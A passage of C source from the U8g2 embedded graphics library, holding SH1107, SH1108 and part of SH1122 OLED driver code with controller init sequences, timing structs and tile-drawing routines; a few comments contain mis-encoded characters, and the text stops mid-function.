u8x8_d_sh1107_seeed_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_seeed_96x96_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_seeed_96x96_display_info); break; default: return 0; } return 1; } static const uint8_t u8x8_d_sh1107_HJR_OEL1M0201_96x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE),// U8X8_C(0x0F),// U8X8_C(0x17),// U8X8_C(0xD9),// U8X8_C(0x89), // U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_CA(0x0dc, 0x070), /* start line */ U8X8_C(0x0a0), /* segment remap a0/a1 A0��??A1?���?a|��1D����*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0xD5),// U8X8_C(0xB0),// U8X8_C(0x20),// U8X8_C(0xDB),// U8X8_C(0x35),// U8X8_C(0x81),// U8X8_C(0xC7),// U8X8_C(0xA4),//A5����????�� U8X8_C(0xA6),//A6��??A7?���?a?��??��|? U8X8_C(0xAD),// U8X8_C(0x80),// U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_sh1107_hjr_oel1m0201_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_HJR_OEL1M0201_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_HJR_OEL1M0201_96x96_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_seeed_96x96_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* 128x128 OLED: this display has a very strange x offset */ /* sequence taken over from 64x128 sequence, because it seems to work mostly */ static const uint8_t u8x8_d_sh1107_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0dc, 0x000), /* start line */ U8X8_CA(0x081, 0x02f), /* [2] set contrast control */ U8X8_C(0x020), /* use page addressing mode */ // U8X8_C(0x0a1), /* segment remap a0/a1*/ // U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0a8, 0x7f), /* 0x03f multiplex ratio */ //U8X8_CA(0x0d3, 0x060), /* display offset (removed, not in datasheet ) */ U8X8_CA(0x0d5, 0x050), /* clock divide ratio (0x00=1) and oscillator frequency (0x8), changed to 0x051, issue 501 */ U8X8_CA(0x0d9, 0x022), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x035), /* vcomh deselect level */ U8X8_C(0x0b0), /* set page address */ U8X8_CA(0x0da, 0x012), /* set com pins */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1107_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 96, /* flipmode_x_offset = */ 96, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_128x128_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* 128x80 OLED, copyied from SEEED 128x128 oled, this display has a very strange x offset */ /* https://github.com/olikraus/u8g2/issues/1598 */ /* this is actually a 80x128 display, but let's keep the 128x80 name */ static const u8x8_display_info_t u8x8_sh1107_128x80_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 10, /* tile_height = */ 16, /* default_x_offset = */ 24, /* flipmode_x_offset = */ 24, /* pixel_width = */ 80, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_128x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_128x80_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* pimoroni_128x128_display */ static const u8x8_display_info_t u8x8_sh1107_pimoroni_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_pimoroni_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_pimoroni_128x128_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* Name: SH1107_seeed_128x128 URL: https://www.seeedstudio.com/Grove-OLED-Display-1-12-V2.html Display is there in my lab. Backside PCB label: "OLED Display 1.12 inch v1.0" Tookover code from SSD1327_SEEED_96X96 because none of the other displays did work and at least the 96x96 driver did show something. */ static const u8x8_display_info_t u8x8_seeed_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 2, // 400kHz does not work, but 200kHz seems to be ok /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_seeed_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_seeed_128x128_display_info); break; default: return 0; } return 1; } static const uint8_t u8x8_d_sh1107_80x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE), /*display off*/ U8X8_C(0x00), /*set lower column address*/ U8X8_C(0x10), /*set higher column address*/ U8X8_C(0x20), /* Set Memory addressing mode (0x20/0x21) */ U8X8_C(0x81), /*contract control*/ U8X8_C(0x6f), /*b0*/ U8X8_C(0xA0), /*set segment remap*/ U8X8_C(0xC0), /*Com scan direction*/ U8X8_C(0xA4), /*Disable Entire Display On (0xA4/0xA5)*/ U8X8_C(0xA6), /*normal / reverse*/ U8X8_C(0xD5), /*set osc division*/ U8X8_C(0x91), U8X8_C(0xD9), /*set pre-charge period*/ U8X8_C(0x22), U8X8_C(0xdb), /*set vcomh*/ U8X8_C(0x3f), U8X8_C(0xA8), /*multiplex ratio*/ U8X8_C(0x4F), /*duty = 1/80*/ U8X8_C(0xD3), /*set display offset*/ U8X8_C(0x68), /*18*/ U8X8_C(0xdc), /*Set Display Start Line*/ U8X8_C(0x00), U8X8_C(0xad), /*set charge pump enable*/ U8X8_C(0x8a), /*Set DC-DC enable (a=0:disable, a=1:enable) */ // OLED_Clear(), U8X8_C(0xAF), /*display ON*/ //U8X8_CA(0x0dc, 0x000), /* start line */ // U8X8_CA(0x081, 0x02f), /* [2] set contrast control */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_sh1107_TK078F288_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1107_64x128_noname_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_64x128_noname_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* sh1107 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ // set column address u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); /* probably wrong, should be SendCmd */ // set page address u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_TK078F288_80x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 100, /* cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 2, // 400kHz does not work, but 200kHz seems to be ok /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1107: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 10, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 80, /* pixel_height = */ 128 }; uint8_t u8x8_d_sh1107_tk078f288_80x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1107_TK078F288_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1107_80x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_TK078F288_80x128_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sh1108.c ================================================ /* u8x8_d_sh1108.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* code copyied from sh1107 SH1108: 160x160 controller from Sino Wealth */ static const uint8_t u8x8_d_sh1108_noname_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1108_noname_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1108_160x160_noname_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1108_160x160_noname_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_sh1108_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_64x128_noname_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_64x128_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_noname_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_noname_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_powersave0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_powersave1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* sh1108 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; //u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ // set column address u8x8_cad_SendCmd(u8x8, 0x010 | (x >> 4)); u8x8_cad_SendCmd(u8x8, 0x000 | ((x & 15))); // set page address u8x8_cad_SendCmd(u8x8, 0x0b0 ); // page cmd is a two byte command u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*==================================================*/ /* issue #619, 160x160 OLED */ static const uint8_t u8x8_d_sh1108_160x160_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x060), /* clock divide ratio and oscillator frequency */ U8X8_CA(0x0a9, 0x003), /* set display resolution, 0=64x160, 1=96x160, 2=128x160, 3=160x160 */ U8X8_C(0x020), /* addressing mode */ U8X8_CA(0x081, 0x01f), /* set contrast control */ U8X8_CA(0x0ad, 0x80), /* DC/DC control 80=Use external Vpp, 89=Use internal DC/DC*/ U8X8_C(0x030), /* set discharge VSL level, 0x030..0x03f */ U8X8_CA(0x0d9, 0x028), /* pre-charge period */ U8X8_CA(0x0db, 0x035), /* vcomh deselect level */ U8X8_CA(0x0dc, 0x035), /* VSEGM Deselect Level */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1108_160x160_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 60, /* pre_chip_disable_wait_ns = */ 120, /* reset_pulse_width_ms = */ 100, /* sh1108: 3 us */ /* post_reset_wait_ms = */ 100, /* sometimes OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* sh1108: 100ns */ /* sck_pulse_width_ns = */ 100, /* sh1108: 100ns */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1108: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 20, /* tile_height = */ 20, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 160 }; uint8_t u8x8_d_sh1108_160x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1108_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_160x160_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_160x160_noname_display_info); break; default: return 0; } return 1; } /*==================================================*/ /* issue #1998, 128x160 OLED */ static const uint8_t u8x8_d_sh1108_128x160_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x060), /* clock divide ratio and oscillator frequency */ U8X8_CA(0x0a9, 0x003), /* set display resolution, 0=64x160, 1=96x160, 2=128x160, 3=160x160 */ U8X8_C(0x020), /* addressing mode */ U8X8_CA(0x081, 0x01f), /* set contrast control */ U8X8_CA(0x0ad, 0x80), /* DC/DC control 80=Use external Vpp, 89=Use internal DC/DC*/ U8X8_C(0x030), /* set discharge VSL level, 0x030..0x03f */ U8X8_CA(0x0d9, 0x028), /* pre-charge period */ U8X8_CA(0x0db, 0x035), /* vcomh deselect level */ U8X8_CA(0x0dc, 0x035), /* VSEGM Deselect Level */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_sh1108_128x160_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 60, /* pre_chip_disable_wait_ns = */ 120, /* reset_pulse_width_ms = */ 100, /* sh1108: 3 us */ /* post_reset_wait_ms = */ 100, /* sometimes OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 100, /* sh1108: 100ns */ /* sck_pulse_width_ns = */ 100, /* sh1108: 100ns */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* sh1108: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 20, /* default_x_offset = */ 16, /* flipmode_x_offset = */ 16, /* pixel_width = */ 128, /* pixel_height = */ 160 }; uint8_t u8x8_d_sh1108_128x160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_sh1108_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1108_128x160_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1108_128x160_noname_display_info); break; default: return 0; } return 1; } /*==================================================*/ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sh1122.c ================================================ /* u8x8_d_sh1122.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Idea: SH1122 is a horizontal device, which doesn't support u8x8 However in the similar SSD1362 device, we do the correct tile conversion, so maybe takeover code from SSD1362 to SH1122, so that SH1122 can also support u8x8 */ #include "u8x8.h" static const uint8_t u8x8_d_sh1122_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* sh1122: display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sh1122_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* sh1122: display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for SH1122 (32 Bytes) */ /* static uint8_t u8x8_sh1122_to32_dest_buf[32]; static uint8_t *u8x8_sh1122_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_sh1122_to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; 